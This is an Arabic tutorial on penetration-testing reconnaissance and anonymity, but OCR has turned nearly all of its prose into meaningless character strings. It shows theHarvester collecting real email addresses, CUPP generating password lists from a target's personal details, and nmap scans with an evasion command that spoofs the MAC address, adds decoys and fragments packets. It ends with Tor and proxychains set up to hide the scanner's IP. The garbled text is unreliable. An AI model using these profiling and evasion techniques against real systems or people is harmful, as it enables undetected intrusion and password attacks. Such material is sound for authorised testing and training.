AT jlaa go

JIado) TTL Jdn doud oldil pgdy Jhdiwdl dilag) pgdy Jigly J5
4

alildl hob jluall uif dlogleo gla (Gliall pito phi daag jo
dylill doaall
winallg pal@oll gy jluoll
dpylall d5pill dinglgigh ge alaoli =
syila alyigly gl dylill glpaall Jio Jgnglly pAaill sjaal cais
alilyl pja
olc wpeill Jhnall go dild sohlh J4sy 6108 d4uidl cuild 13] =
AdAlall daill guglic

dayull jluoll dlﬁ_l.LIi 61c puujl ogdl www.tracroute.org Rdgoll

dazall
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http://www.tracroute.org/

ICMP pj paiiwi il traceroute 61aUI plaaiwl Jhoy oIS o
Jluoll dhypy ouuyl packets

: traceroute oVl plaaiwl dayii @@hy glLill J4uill

:~# traceroute google.com
aceroute to google.com (216.58.210.206), 30 hops max, 60 byte packets
192.168.1.100 (192.168.1.100) 1.302 ms 1.681 ms 2.334 ms
82.137.200.2 (82.137.200.2) 45.698 ms 46.055 ms 48.293 ms
10.20.10.254 (10.20.10.254) 50.800 ms 54.432 ms 55.776 ms

10.200.8.9 (10.200.8.9) 329.895 ms 330.491 ms 10.200.0.9 (10.200.0.9)
10.100.8.137 (10.100.8.137) 60.855 ms 10.100.16.137 (10.100.16.137) 6
¢ 10, 10015 ; SESHE 47.502 ms _*

r
1
2
3
4 10.0.0.6 (10.0.0.6) 52.192 ms 55.261 ms 54.824 ms
5
6
7

*

Jauiull oa 108 jgaiyg pli o4 tracert oVl pladiwl 40y g
:g,dlﬂl

Cisrtracert 24_226.16.35

Tracing route to cache.googlevideo.com [24.226.16.351
over a maximum of 38 hops:

1 1 m= €1 ms €1 me 192_168.1.1
2 13 m= 7 m= 1 me =72-38-69-141.static.comm.cgocable.net [72.38.67
1411

3 21 ms 31 ms 29 mz 10.64_.232.1

4 164 m=s 15?7 ms 2180 ms d226-8-197_home .cgocable.net [24_226.8.1971]

5 25 ms 28 n= ?2% mz cgowave-busy3—ubr.cgocabhle.net [24.226.6.1331
[ 12 m= 12 n= 14 mz cache.googlevideo.com [24.226.16.351

Trace complete.

ALld aling gi g4oy jludl 13@
loi UDP datagrams Al pidl JAasy paATug IS (oa traceroute

ICMP echo request (ICMP type 8) oxaliuy jgailg sa tracert
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paall go oll5 (oa traceroute plaiiwl jo claiiVl vic ¢llAl
jolaig Jolall jluall gle Jgnall Jal go ailgigip dac plaiiuwl
alilll pj 8yila sjanl

Jluall gy dilac JLoAl Jal go dylill algall gle RyRVEPNIL

TCP/IP pjal Jlaog pajio sag
TCP, UDP, ICMP, and paciig

raw-IP

IP aljad slaeiy padiwoll pouud

TCP Jlnil Jloiwl JilA o
danill gl plAll Jo ygagoll
dlaall 8j@all go gl dilaall
jalail 12 8340 laley liag
dylill glaall Jio duqjlall jilall

he) @) pdaill gl 8aiaoll algalll pal go 8aalg ga hping3
6acg alilill pjal jalno 6acg packets alilull pjn glgil 6ac
alilyll pjal calaal
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:pAAoll dlogleo glc Jgnall

Hglicg (woriiwall elowl gony ggogdy Gliall guito go yaell
wanall plhill ol Jgaxll diloc o Laolaatwy (qigyalyl appll
aipiyl d41 ole warall gagall pe anl g legyd AU ddgphll
$91 JAdy elli piyg ocloiall Jnlgill gélgo yc gl

Jady anul diloey pgdi gl Jaoy @l oa 3gagall algalll as
.oAtilogil

0V bl (pakgall qiggidlul aypll (uglic o 8alaiwyl 4oy
J4uin gudiludl grakhgall ablwa Jiheiy pgdi U aldpill go aaell
Jangll Thall 138 go éalaiwyl palaall dnja ghey 13ag g
wnall plhill gl

t g AV A pll glicg clowVl goa
pe anully pgdig ggial dely wgido b o@ theharvester 8lal

ig)ialyl apll (nglic e (g)Al gélgog 8)gauiiall daull alsjao
.ducyall alitogallg

(@9 difaall aljlAll (her gle sgaug hiwy 612Vl oda plaAiuwl
aaluuqtwl iyl progall cayjeil prAtuwy :-d =
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sl ggai gl waug alilydl 2lATwl jano waypeil padiwi:-b =

:dullill edlgall
Bing, BingAPI, Google, Google-Profiles, Jigsaw,
LinkedIn, People123, PGP or All

G0 3310 e o alilll anay pgdi 81aVI Jeal paATwi -1 =
éaleoll &yl Ailii

HTML or alo4 dyilaill dayiill hanl paiivg jLAll A& : - f
XML
olc dniill e piy cagu JLAIL 3@ pladiwl aiy al 13]
A aoy lakan aiy glg ddiliall

(Hog) ()c Google indexes (od hhiuy &y daydi @k GJLill Jaoull
digitaldefence.ca
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:~# theharvester -d digitaldefence.ca -b google

40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 40 0 0 0 0 3 0 0 40 0 40 0 0 0 0 0 0 2 0 4 0 4 0 0 0 B 0 o o0 o e e e o e e e o e o o o o

L ——f———
N R E e

* TheHarvester Ver. 2.6
“ Coded by Christian Martorella
* Edge-Security Research

“ cmartorella@edge-security.com
C 4 20 0 0 0 0 0 0 0 0 0 3 0 0 0 0 0 20 0 0 0 0 0 2 0 0 0 0 o 0 30 0 0 0 0 0 20 0 0 40 20 2 o e e e o o o o o o e o e o o o e o o e e o o

*
*
*
+
+
*
*
+
+
*
*

¥
*
*
*
+
*
*
*
*
*
*

[-] Searching in Google:
Searching 0 results...
Searching 100 results...

robert .beggs@digitaldefence.ca
Robert .beggs@digitaldefence.ca
@digitaldefence.ca
csirt@digitaldefence.ca

[+] Hosts found in search engines:

[-] Resolving hostnames IPs...
54.236.190.114:www.digitaldefence.ca

:dilall ailogleall crlaiimo goa

Jauwig alogleall e alogleall oa metadata dyildll cilogleall
§92 Al difall Jula Jio) ailogleall Jlagiwl gi Jengll dilac
(adgog wlisll deuh (e alogleo qlc

:ailaifall 0A@ aigai bo olc dliol ga Ll
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GlA o prdimall Guhill elay Ml pAsull gi @pill pual
Alifwall

Adfall calgo gi wild gl =

Aifwoll Gl aqylig adg =

Adfwall gle Jurei jal ¢dg gl Adiwall dclih cidg =

a1 Aiwoll G pi s3I gdgall =

sjaal alpold ud go ladls aiy il dnlig alalall ghe)
alogleo le ggai alaly] gle sgai gl ghoy Jaligoll
Bygnll ara Al gAll gl4all ge dialjen

Jud Jo pulio JAdu diipo pi¢ o@ metadata duilill ¢logleall
P71l

oalaall gl GIHAYl pito Jud o padiwi gl j4oy clogleall oda
go laiijldo JAA o clawill ana dilooy pgds gl Jhay sillg
bl aayel gl ghoy 1A@g alaiiwall Jals agagedl alilull

gl dygiwll dyllall plaill Jio alilull glgil go (ueo ggiy gihtijall
ApyilpiwVl hihAll

ddleioll yhlaall gla 8)i4) 6piiio cawnl Jihgall sjaal gi Loy
Jlaiwl AT dralyeall duilill aloglealls
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lai)lj pis oillg (a2ho gl Gaia gl an) giloll e day palaall
ogdy carall dapill calhgo gla 13] llio «arall Jud o jpaio Jau
Jauu g oo poho od ecloinll Jnlgill albnn o4 jgn pouiy
gulial gl (@4l pgady pgdy gl gaoy @liall pito gla jj4io
Jull dalag padiwoll pul dig) Jal go warall jlaa gl JAill

doilii GIAl padimall Jiligy od
judd] cilol4y

déleiall cilogleallg clowll goal Jlea pell énl e lifaad Adl
arall gdgoll o8 Juordiwally

le gy calo Glal alogleall 0da@ pladiml g@ dyllill ghAll
arall gdgoll (o8 guoddimall AT il pull cilals

Jaoyg aijiiVl oa 6pagio lolaiiwlg legud j 411 pull ailal4 pllga
@l o4 6jagio pilgill oda yaey gl ] dalayl dlgauy lalieni
lusrishare/wordlists JLlill jluoll g4
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|

| € 2 I|§| usr share  wordlists

B
m
£

i
o
®
<

e e _ .
‘] Pictures = =
A A A A
i Videos dirb dirbuster dnsmap.txt fasttrack txt
py R a— e
() Trash =
[€] 129 GB Volume fern-wif metasploit metasploit-jtr nmap.lst
[f] 54 GBVolume — — e—
[(] 54 GB Volume - _ - s—
rockyou.txt.gz sqlmap.txt termineter. txt wfuzz
E sz pllaidl
0 EsD-usB —
B SAMSUNG.. =
[(] Computer
L& Browse Network
E  Connect to Server

dolc Jid (o Lolaaiul JAVI pudl alald (olc ST pdlgdll oda
dlglao dylac Jils Jigh g Gl ol ghog giorilual
ddlill pull dalb oJl JLaiidl Jud (Gunill o jull dol4 plaATwl
Common User Password Profiler (CUPP) 612Vl (jla hall il

gl wagp ele (ggai wordlist daild Ailgiy GVl pitol qoui
aaall pariwoll AT digeo alols

18 (o 83g2g0 ¢ Laidlg elyi dlll ga 83gago (il CUPP
aylill dogleill JUA go laleni ghoug
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git clone https://github.com/Mebus/cupp.git

:~# git clone https://github.com/Mebus/cupp.git
Cloning into 'cupp'...
remote: Counting objects: 31, done.

remote: Total 31 (delta 0), reused 0 (delta Q), pack-reused 31
Unpacking objects: 100% (31/31), done.
Checking connectivity... done.

laoll Alaoll CUPP Joaty pgdi waguw douleill ola

JAnig Python script ggisli doli agifdo cujdw o@ 81211 ol
il Aa Guhi aay Jalg @llill ol plaiily 81311 oda& cleaiwl
513Ul 03@ (sgay (Al Jluall oJ] JL4iiv] Aoy

:~# cd cupp/
:~/cupp# 1s

upp.cfg cupp.py docs README.md
:~/cupp# python cupp.py -i

Insert the informations about the victim to make a dictionary
If you don't know all the info, just hit enter when asked! ;)

First Name: Ahmad

Surname: bana

Nickname: hamood

Birthdate (DDMMYYYY): 01021983

2outig glclai hois CUPP 8LVl pani cagu doyleill oda
oA cagu il alogleall o 3310 pnlic Ayani) paiiall
Judl ailals daild @Gl g
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JaUl dawl Jio dinall ge alogleall s Jlaal elio ulhi 3121
pgdi pi dllabl pwlg diagj puwlg oMo yylig gilill douwlg
sl alaldy daild le gny calo (§lal alogleall 03d plaatuwly

CUPP Alaall Jalx wordlist calo Ailgi aiy cagu claiiVl aoy

reugll papu ole wayeill

go adll Jgngll pauy Jaduy pano aill cugll japuu palai cagw
Sl gl Guhi dalaiwl @ dio duulwll dylollg @il )l
Al duidl )3 guoxatuall Jid go aill Jgngll 3hay
81 o] T3 ghpug

external IP oaylall cugll papu glgic Ay dalay gai diladl qa

address

www.google.com Jio carall URL ylgic go diladl jgai Liale

IP address (s0d) (Jlgic oJ] aligais laaY pgdim Allg

dlgauy oj83T go padiwall JAoiyl ni Jad ole Lisle g4y URL
gl papnnl Mya gad) glgic gara IP address (lgic laiy

IP address (Jlgic paaTwi §liayl jLial algal
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host dotloill plaAiwly iy IP address sodll glgiell olc Jgnall
(Ul Jlioll od Los guiidl ollb (od

~# host gﬂﬂgle_cmm

IP lgic lc sgai illg dullill dayiill sgei caguw doyleill oda

.s2JAll address

doylo’i plaAtwl JAA jo IP address (lgic olc Jgnall Leyf elifay
I8 plhi oa gl jgritg plhi od ping

URL (glicg IP (uglic go Joleill glc 6jall al cugll aanio

M IP glgic Jlaah pd el go A8iill .dranll gudi gle Jgnall
2adniall g Tpilo ale ailna

Jild j1¢ URL lgic Jo Uy IP address plaiiwly wlhll awii
papu gl ol ejidiio Japull laga ggiy il diyll oé Guhill

IP address (lgic gudi olc ellig g gégo (o 14T iy cugll
http:/isharingmyip.com Jio (pV (gl J4dy Joei doad pladiwl elidoy
go AAliil IP address (lgic guaiy eljidii il alitogall J5 alagy

dlgall dajoo eliday gl ugépoll clara wapaiuyg wygll papm i
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http://sharingmyip.com/

dpo@ﬁllPulg_i_cc'i_!L'lﬁ JAA go papunll gudi gle Jooi (&l
bing diaull

6I Jud didlail gudgi alhif dajiuell dalaiwll aliy go aaell
Aiyll dyloa jLial

:Robots.txt wdlo

lo glc wayoill ddiyh gag oilc J4uug dolell jagio walall 1@
dlalaolly dodld (gle ($gy diVl wigll japw ole Jogy Ml
Guhill elllo qp (illg cagll japw ole 63gagall alalellg
LAl aldpoe Qiliig dwyaall diloc (o [@aia

search engine spiders owli Lml wajeig

catinil padiuy (gAllg pg ddaguw (o cja ga :Web crawler

lo Lule o 1llg dadyVlg ¢l aldjo o8 @olratul piyl tilogleoll
Google and Yahoo Jio dnill aldpo Jid (o lapui aliy

cayjeil (Guphll dhjla ga robots.txt calo (jla aalaall duailly
J401 g g jap sV robots.txt calo (sl gl dwbwall cilogleall

URL ylgic (o8 dilh JAlA o paniall gé gajes
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dlgay gajed gl g0y sillg robots.txt calo glc Jlio (gllill
host URL a9 robots.txt/ cilh JUA (jo cadnio 4 julio JAdug

gy puall gdgo ga warall gdgall gi (Aail
facebook.com/robots.txt :jlgiell il pgdi

llill4 dayiill jgdiug

o C O https://www.facebook.com/robots.txt

# Motice: if you would like to crawl Facebook you can

# contact us here: http://www.facebook.com/apps/site_scraping tos.php
# to apply for white listing. Our general terms are available

# at http://www.facebook.com/apps/fsite_scraping_ tos_terms.php

User-agent: baiduspider
Disallow: fac.php

Disallow: fae.php

Disallow: fajax/

Disallow: falbum.php
Disallow: fap.php

Disallow: fautologin.php
Disallow: Sfcheckpoint/
Dizallow: ffeeds/

Dizallow: /l.php

Disallow: fo.php

Disallow: /p.php

Disallow: /photo.php
Disallow: /photo comments.php
Disallow: /photo_search.php
Disallow: /photos.php
Disallow: /fshare.php
Diszallow: /sharer/

:dalito alclhd gu)i pady I3& robot.txt alo
alalaall -
alalell =¥

(clean URLs) aljluwall  -Y

G sl ket y il e @1 ) L)




(no clean URLs) aljluall  -¢

diteo daan gl ¢llngy Gdrog Jola lgic jluo ga Clean URLs
elndnio g4 adnlg du o 13|

6aludl (JLioll 3@ oa q) Jioljly pAATT no clean URLs aljluiall
." . II I"O o e ""I

root directory (s robots.txt calo cllay Ol wag g jap J4
2dgoll Jol4 yupaay gl J4os web crawlers Al diali (jog
gl yap elllo gi pao ap (ol alalallg aliludl aclgd Lianio
Al aldae JuA l@ne

Hg daguw cunii iy Al alaall ga gl pajul :root directory

:gQ Lisle root directory jgaiyg plAi o .ara cugll papu
C:/linetpub/wwwrppt

:guaiy ol (sdg

/varlwww/
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:Google hacking

Guhil glhiul dlos) plall Jege anyl djao plaituly Glyisy
annall wgll

go Jegt anll o o8 énll ciloleo plaiiuly pif ddyhll 0da
Jdireo 2ilii glc Jgnall Jal

(o8 Jege anloleo oy

‘ wdaall Operator Jol=oll
alanll guglic ga dnill Intitle
alhanll uglic oa daull Allintitle

e

alalall o (oo ggi e &l Filetype
hda alhanll i ga dnill Allintext
digeo alaan hylgy ge dalll Link

Gl ldai g <l o 350 L)




:alyeill e daullg Jleall cllhiwli

gc alogleall (o dro4 pal gaa ga gllhiwyl dlao (o carall
JAeiwl dloc Jiauwi Jal go carall

ol japg Jlea pell gllhiw)l dayii glc yoiey Jleall gllhiwyl
wazall gle wapeill Gdaillg gaaall plaiiwl

arall ge 6a1ao alogleog draln] alogleo iy Jleall glhiwl
waaall go Jelaill JuA go pif Jlea Jauy alogleoll goa dilac

Jaoy gl carall plhi adlaw oé dliauwd piy g g4oy Jelaill 1xag
gio dolil gl dyjlill gljaalls diloall plai oa JIAIYI Jouiyg piy gl

Jahill waiisg
way dlunai alogleo guolil Jleall gMiniwlg dayl dylea 8alyjl
Ggloall pllAi Jud go waliidyl gio Jaf go dyull le ju4yill

:aloaillg Juediill plhig cliygul walsuisl

alijgl ole cayoill paiiwi 8aido algal 8ac ole gy IS
6jaaVl glc dniall aloaillg Jieuhill plAi glc wayeillg dagiaall
nmap plaatwly pii gl Jhou placll oda pheog datelll
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:alijgull yana
31110l TCP and UDP ports Jlnidl alijgr yaaar pogdi dilooll ola

arall jlaall ele Jooi gl aliyhillg cloaill

Jdgaall el doui (il algVl Jio @ JiguoAll jlay oa alijgdl
Alio L&y dnla ¢jgy diteo doyy Jalg Jjiall

80 cygul paaiuy HTTP traffic
443 ajgul pairiuwg HTTPS traffic

HTTP ¢l oies 1@ dagido 80 and 443 alijgul gl Liaag 13] cllAl
jlaall olc Jooi and HTTPS

dloadl dniniog dagyeo alijgdl oda jaer 65,535 ports yaqy
port 20 and 21 for FTP (file transfer protocol)
aloail dnnio lAnkheog dagyeo alijgl oa ports 1,024 gl

¢ ".u
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ddleio dliwl dillf glc dilayl @ alijgdl gaaa dilac o warall
rgll pap

dagiaall alijgdl galo -

alijgl 0da gle Jogi oill alorill galo  -¥

Jogi il aloall aljlan] ealo -
lioadi 3 (jgai Liila dliwVl odal daan ablal ol lilna 13)
ograll diloc (oa 6ghi
Il JAoy doaill oda (4lg wugll doxd Jal (o padiuiy 80 gyl
dal go paaiwi dinlall oda Al aygr ¢l plaiiwl [@aagi iy
cliali palaoll pld 13] g4lg guoalaoll Jgic e digeo aloai clai]
aloaill odd caind difoya alijgll dlolit jpaa dilac

:Nmap
@ port scanning Aalioll jnaa diloey plidll 6@ jiSUl 61l
18 plai oa Liildli 563gago oag Nmap

Loy plidll 81211 oA grhiwi qill ganall ¢lgil o apell dlia
gihiwi oJlillg cugll papuul IP address (jlgic wpei gai Ll
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Jlgiell al sAllg Ly (plall DVWA ugll jap gl Nmap Jiuini
127.0.0.1 glaall

Nmap -sV -0 -p- 127.0.0.1

damisell aloaalls yalall version jlanVl ajaail : -sV =
g PLb-iJI Eg-iﬁ l". o uII PLb-iJ. .o uI .o tj|-0 I z | . : -O -
.0oJlan]

alijgdl Jal gaaa dilaer olidll @ -p- =
.aaxall IP address (jlgic :127.0.0.1

(il @ doyloill oda dayii

~# nmap -sV -0 -p- 127.0.0.1

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-04 02:24 EST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000011ls latency).
n: 65530 closed ports

STATE SERVICE VERSION

open http Apache httpd 2.4.10 ((Debian))

open ssl/http VMware VirtualCenter Web service

open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)

open mysql MySQL 5.5.46-0+deb8ul

http VMware hostd httpd
e: general purpose

0S CPE: cpe:/o:linux:linux kernel:3
0S details: Linux 3.7 - 3.18
Network Distance: 0 hops

0S and Service detection performed. Please report any incorrect results at https://
/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.23 seconds
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wwigll pap ole Jooi aload guaa dlia i hali diill oda o
VM lc Jooi il aloaall cuuay Myld caliai gl g4ay dayiill)
(e galall

alogleall goa dilac go Jus cja ga Jogi qill aloaill dayeo
Lalleiwl pldll alill ge el ga dllill sghillg
g Jugibiill pliai Junlaig 8lgill dAwi Jio dralal hldi cllia

(lo jlaa o coi dnull dilac JV aalg) aljadll

ailii she) gl g0y localhost olao jlaa xv Nmap Jiuili :auii
dllno gl dil4

:Nmap Scripting Engine (NSE)

alinw Jonali @il dayphll ga Nmap plaiiul §jh $aa|
Jogt cpbuw alh JAA (jo .dnnio day didoc 6alidl scripts

.uglhall waall ge digeo clogleo

doaoll oday pgdi Nmap Scripting Engine (NSE)

ojalall web-specific scripts (jo yaell dlia Aall (g

pladiwl
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go ASliT gl elile way cllAl Nmap Scripts 400 ollga cllia
dulall NSE scripts J4 dig) elifay el 6ataall augpbull pladtl

/http:/inmap.org/nsedoc dAgall glc @) ddleiall Gilaitiuallg
daln| JAA o anpbull eleatwl eliday
Nmap doiloi i ¢l script=<--script name >

Jady hyi gl ghos Nmap lay pgdi qill alijgdl gana diloc il
Nessus and Nikto lay pxAiwiw oIl dyllill dileell go piilio

gl yap ob alolll ge &yl
qSudl dauldl abiaail jil

0da waldiidly carall pgdy gl ga Jleall glhiwyl phlio pél
dilaoll

Jaug IP source (jlgicg data stamps g jLinMl didg plaaiul
el ogaall jano glc wayeill cdarall gihiug dialnll alogleall
azall
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http://nmap.org/nsedoc/

ANl pite gla Jleall gMhiwMl ddoc pcal dypll (Guhi aic
:dyllill jgolly pgdy

djaal Jueuiig caliniqyl wiai Jal go aigoill algal pladiul

JIAIYI

drcpill alildl Jala pgaall clily clai) =

alibll ggig jano clady pgaall Jyaei =

gl dyjlieo e alily glgil plaiiwl oio pé pgaall Joo =
Juéuiiill pladimly

dllill jgoll J5 gl oy ole ggai gl Jhoy syl énll alyidi

source IP (lgic juoi =
nmap olxAiwh alilull pja aljioljl ppoi =
(Tor network) diato alauul guudgy plaiiul =

G l) clipdai s <l ) 1) i)




:algaVl Juaeig source IP lgic ji<i

JS calsy] go STl ay pgaall gl @hiavl sl dylooy pliall Jia
uaiy Gl ad Jooi il dygpa pall aloaill

ogdy ¢l Jhoall joa uglho pég Jlea local DHCP (jl4 13] :Alio
aliauwi iy i gaoy Jelaill Aag carall plhill go Jelailly DHCP
axall plhill allaw oé

pe Jdiii alilyll J5 gf go A5lilly ggogdy Gliall guito pheo
IPv4 socks proxy

Metasploit Jio) janall dagiaoll gl dylaill algall jael

J4oy dil pé) caypeill dulw o4 lAoja dalnl pgdi (Framework
olAill cnlaw dlla Julail jhiall aoy dlajo o8 Atdo Jgiy i

gl @AVl pito lay pld il Jleall Jrawi ai 13] dajeal carall
uii g Jaoy alalayl oda waazall plaill alaw Jaly palaall

alilidl pja apanil Glpiadl juisl gé doxdimall s13VI yaaa qay
Bl oda laapAT 4ill
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dyliAT dAwi aa 811 plaAiwl @ alaldyl cayyeil ddyh Jawl
auul (slc agial 13] plAill alaw dd)g @rall gagall ge dina

A gl 81l

g alibdl hldily wireshark aliluldl Jlao olaaiwl (od] dalayl
ollhill virtual machine diliAill 8)gnll g galaall gl (GliaYl pito
clal4 lzgi Jc packet capture (pcap) aldlo od dull pf carall
pwl Jio) GliAMl juial (od dorAiwall SV (ol i’ gl Jany
(KAl jgol gl dnall pdy gl gindll gl 612U

JAA jo UserAgent in the Metasploit Framework j19i (40
http_form_field jLiA J1a0i

oLl JAsul o Lo ol plaiiuwly

msf > use auxiliary/fuzzers/http/http_form_ field
msf auxiliary( ) > set useragent Googlebot/2.1 (+http://www.google.com/bot.html

useragent => Googlebot/2.1 (+http://www.google.com/bot.html

dayd Aalyl UserAgent hiay lind Jlioll 3@ o4
Googel's indexing spider Googelbot

lo 1)3lig galgoll cuupaag 8jlijs pgdy @il wAsilogil Guhi ga
.gdgall elllo oluiil cialy

i S 3581 i



:alildl pja alyiolyl Juasi

of anall ol aypei alily Jluyl JAA go oiy Jleall gMaiwyl
alogleall gle Jgnall aleall alilyll pja plaAiwl

Network Mapper (nmap) @ arall 13al doriiwo 8lal jail
agyl alnllng Joell gjgpall go dilclas nmap polaitwdl
(oildli Jady dilnll oday Joey (oll4g root-level privileges

go Juléill dlglal cililll pjay wclliy pgdy alauhill go ggill 1@
I@Jl.ﬂlﬁ Jddll aliidi gaer plaAiwl oiy g calisyl Jlaial

o axc Jal Jluylg JLiavl dlaey exdl Jud énll wara agpei
cuil Vgl cugll jlan jgana gl agag go ASLET azgl 13] Uio L pjall
aygul ga gyl 13@) agido port 80 IS 13] loga ayanil dalay
(pulwll gl alosal galyiayl

pdi U anall plii go Jlaidl JUa go ply il ényll wiai =
J1 synchronize (SYN) paiiwi V gl warall glc ping diloo

acknowledge poja Jio disliicl pi¢ jana Gy plaatul pd
(ACK), finished (FIN), and reset (RST)
(Hglic oSl gl ddlgiie (uglic JLisl pd
Source IP, port address, and MAC address

) Sl S )



aaxall gdgol alilyll pja Jgng é)ia go Juldill cudgill Jac =
ondi JUA go gl pjall ppwdi Jua go alilyll pja pan e =
ol aaa sjaal gle Glugunill dyilgiic alily

5 | L(.JI - "SAJI dLQ:I.QI l“....l II . |5 .-.. . -.“I | ‘DI_.I._EI_I_I i\LT_D
dulill daleill plaatul

nmap --spoof-mac- Cisco --data-length 24 -T paranoid -max -
hostgroup 1 - max-parallelism 10 -PN -f-D 10.1.20.5,RND:5,ME

--v—-n —-sS —-sV-0A /desktop/pentest/nmap/out —p T:1-1024 —
random-hosts 10.1.1.10 10.1.1.15

-ddiylull dogloill apiy oJLill Jgaall

Jlgic anliyy MAC lgic alblho
JIniwl ghu dapi (o pliol

spoof-mac-Cisco--

Gl ogdy cagu 0pdjll cisco
wilgute dlo ylgic
oja phhool bytes 24 daln| data-length 24--
dlupoll alilydl
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il alilscy azal s

aiy cagu il 6j@all ayaail max-hostgroup--
vl g o | s

il déloall alilhll aae ayaail max-parallelism--

D 10.1.20.5, RND:5,ME-

Al ganall elaay go cidgll
@AVl pito @y pgdy

ql Aly DNS doqyi ulhy pdi

allhll go ggill 1xa gy ey
deio wy ¢l dliawi oy

TCP SYN (nna CLI.J_D.Q_I olidll
V sillg Jluwio Jasu gl dipu
TCP handshake JloAL pgdi

version jlan)l jlahl Jieai
ainll J4y 2iliill jlanl oA /desktop/pentest/nmap-

ool lipat g ) 8 jue ) A0 Laa)




ogdu ol alijgul ayaad p T:1-1024-

[ nAaj

i caaall éjaal jaad random-hosts--

silgic

dithy yaad diloc Gy pgdy wagu l@niey go aljlAll oda plaiil
dyye alilyl pja @ils 13] avhall e ea galg 13a dipug diaiog
anell gla ellal w@aall plhi obiil piy elld gla [@baei ai Ad g
dlloinl go Juldill drate aliy ggoriiuwy GlpaVl uiio o
aliiiqyl

d1aio d5u go quuSgp pladiuul

:(tor and proxy)

www.torproject.org

dquil ol ilao Jlail groliy aouwi janall dagido 8la ga gi
alilldl pja cayleig 63xeio aljlwo cliti] Guph (e drdaio guuigy

®111 oral digdyl ggail dlndl jLial ai elil) dnulls alddh 8
ol yigly J5 sag alyigldl go gieo sxc pc lallu)l pf laypadiig
Jlwyl pisg anngill alogleo (glc Jgnall paduill jo ddih dllj|

s Sl S 51


http://www.torproject.org/
http://www.torproject.org/

i) ddyludl dloell guai Aaii aiig ddlill sadell oJl dlluyll
arall @Il Jgngll gir dl (dladll
dylon JUA go alilyll Julat pgaa go alilyll goai dylosll oia

.aadllg janall uglic clailg

tor with Proxy plaiiwl pinw oJLill Jliall o4

:dldl alghAlly piy jgi qupndl

JolgVl plariwly jgi qunii pf didyillg éyaai diloey plidll )
il

apt-get update
apt-get upgrade
apt-get install tor

letc/proxychains.conf caloll (Jyaeil od jgi winii dop .Y

cagu il euubgpll guglic aliyig plé)l ghey alall 3@
Ji 854 o adyh o plAill A0

g daii s alily Jaa @l saai gl gloy ewlgpll alpapw
23 euwlgpll alpapu aal ggiu gl ghay gl Jlaill éday iy
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dynamic_chains (J1edi| adg strict_chains gio1 od ¢llA Jooll
glhdil T 99y dago i cagu Jlaidl gi go a5lill

¥ proxychains.conf VER 3.1
#
# HTTP, SOCKS4, S0CKSS tunneling proxifier with DNS.

# The option below identifies how the ProxylList 1s treated.
# only one option should be uncommented at time,

# otherwise the last appearing option will be accepted

#

dynamic_chain

Dynamic - Each connection will be done via chalined proxies
all proxies chained in the order as they appear in the 1ist
at least one proxy must be online to play in chain

(dead proxies are skipped)

otherwise EINTR is returned to the app

strict chain

A T

# Strict - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# all proxies must be online to play in chain

# otherwise EINTR is returned to the app

socks5 proxy 1gag Jo AAlil [ProxyList] Jiaeil g .¥

B0 [ProxylList]

61 # add proxy here

02 # meanwlile

Co# defaults set to "tor”
Ed socksd 127.0.0.1 9650
ESsockss 127.0.0.1 96050
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aipiivl go (gilao Jauiy layle Jgnall ghoy gusgpll uglic
proxychains calo ¢l] laialn| aiig

Jo aaliiial gioyl djiall oda Jeiuy gl $hoy \ Gliayl pito
carall Jud

- oJLill joll patiwl JJlisopill o jgi dord Jydil ¢

i~ service tor start

:dyllill dogleill padiwl Jowy jgi gl go A4LEL .o

~# service tor status
® tor.service - LSB: Starts The Onion Router daemon processes
Loaded: loaded (/etc/init.d/tor)
Active: active (running) since Mon 2016-01-04 02:48:43 EST; 19s ago
Process: 5268 ExecStart=/etc/init.d/tor start (code=exited, status=0/SUCCESS)
CGroup: /system.slice/tor.service
L5280 /usr/bin/tor --defaults-torrc /usr/share/tor/tor-service-de.

Jan 04 02:48:43 h2o0 tor[5268]: Starting tor daemon...done.

¢

o Jlnil godig Jagi jgi dani gi ASlill g)jgpall go .
dagleill plaaiwl JUA go ey galall IP glgic go (Gaailly pd
-duLill

iceweasel www.whatismyip.com
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ad| jluall gdgall piag paniall pidr pgdl caguw doyleill ola

gl drany Jniall jlaall IP glgic yape pgéy Al

gigall ol Jgaall JUA go an JSiu Josy jgi gi go 251l oy

https:/Icheck.torproject.org

Jl JAoall go alg jgi dAnl plaaiwl gUI eoao Jlnill gi pé)
eli (alall plaill pgdy loaic éaay JIAll 1@ leak DNS  cllia g4,

cLyiiVl doad agjol clijga wayjei Juolil DNS request wlh (glay
b plaldl

www.dnsleaktest.com gdgoll JAUA Jo JAll A& yaad Aoy

proxychains pxatuwul aedll gll5 Jla DNS leak jaady pgdl loic
source IP of Level 3 Communication (jlgic jlalhl A1 cagu

Aa leth (JUoll A& (g4) 8aniall aliVgll (gd ygagall yajinll
Ayl aijg @adyl GHaYl pital dala] dloa god)
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https://check.torproject.org/
https://check.torproject.org/
http://www.dnsleaktest.com/

Your DNS test results

This page shows the DMS servers that your computer is using to resolve DS names. The owners of the servers listed bhelow have the ability to
log the names of allwebsites you connect to.

WARNING: Ifyou are connected to a VPR sernvice and ANY of the servers listed helow are not provided by the WPR senvice then your DMS may be
leaking. (You should bhe able to recognise them based on the hostname, ISP and location). This is not anissue if you trust the owners of these
seners with your private data.

We detected the 2 DNS servers listed below.

IP: 192.221.144.192
Hostmame: 192.221.144.192

ISP: Level 3 Communications
Country:

United States

IP: 192221144109
Hostmame: 192.221.144108

ISP: Level 3 Communications
Country:

United States

JlicVl ey ddlill jgoll AL gl way jgi pladiwl aic

dungnAll gany V diflg saiill doai (jogy jgi =
alilull blail] ole jald (agpall 6adc) diilaill éadell elllo
ol Jaagll olc jald dila alcloVl Jgdi lo cung sniff traffic
by dnlall AloicVl alslau

Jo padiwi i Jaoy aleilill Jgdi oS jgi adnio ga cljeill =
alogleo (ole Jgnallg plaill Jil&iwy dyigildll alakioll Jud
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UDP traffic go Jolill gthiwg J ProxyChains =

digll oda oa Joell glc 8)ald pc¢ aloaillg alduhill yaoy =
Joell ge ladgiy gl g4ou Metasploit and nmap dnlag
nmap 81l SYN plaiiwl Jlwioll gl pull janall diloc
clly Jy il gand cleatuil pitg proxychains od gdaaii
aarall alogleall apuwi wiuy gl J4oy 1Aag

